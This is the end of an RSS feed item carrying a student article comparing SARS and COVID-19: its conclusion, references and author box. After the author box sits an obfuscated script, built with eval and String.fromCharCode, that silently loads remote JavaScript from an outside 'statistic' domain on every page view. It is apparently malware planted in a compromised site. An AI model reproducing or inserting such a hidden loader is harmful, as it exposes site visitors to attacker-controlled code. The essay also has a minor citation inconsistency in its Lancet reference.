<p>In conclusion, the SARS and COVID 19 share the very similar characteristic in a sense that both of them are caused by coronavirus, are very contagious, and are dramatically more dangerous to elders and people with existing diseases. Back in 2003, people were able to successfully stop the SARS as the world was not as globalized as it is now with efforts of scientists, researchers, doctors, and the governments as the virus only spread to few countries. However, the COVID19 now has been spread to more than 200 countries and caused almost 2 million deaths. From the close observation of SARS case, one can conclude that it has surpassed singularity point but the time, effort from researchers and governments will stop this COVID19 in foreseeable future.</p>



<h2 class="wp-block-heading">13. References</h2>



<p>Seladi-Schulman, J. S. S. (2020, April 2). COVID-19 vs. SARS: How Do They Differ? Healthline. <a href="https://www.healthline.com/health/coronavirus-vs-sars">https://www.healthline.com/health/coronavirus-vs-sars</a></p>



<p>Severe Acute Respiratory Syndrome (SARS). (2019, November 1). World Health Organisation. https://www.who.int/health-topics/severe-acute-respiratory-syndrome</p>



<p>E.P.M.K.U.G.D.H.H.N.P.F.C. (2020, July 3). Comparing SARS-CoV-2 with SARS-CoV and influenza pandemics. The Lancet. https://www.thelancet.com/journals/laninf/article/PIIS147 3099(21)00054-2/fulltext</p>



<p></p>



<hr style="margin: 70px 0;" class="wp-block-separator">



<div class="no_indent" style="text-align:center;">
<h4>About the author</h4>
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" src="https://www.exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1.png" alt="" class="wp-image-34" style="border-radius:100%;" width="150" height="150">
<h5> Seoyeon Cho </h5>
</figure></div>



<p></p>
<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script><p>The post <a href="https://exploratiojournal.com/sars-data-analysis/">SARS Data Analysis</a> appeared first on <a href="https://exploratiojournal.com">Exploratio Journal</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
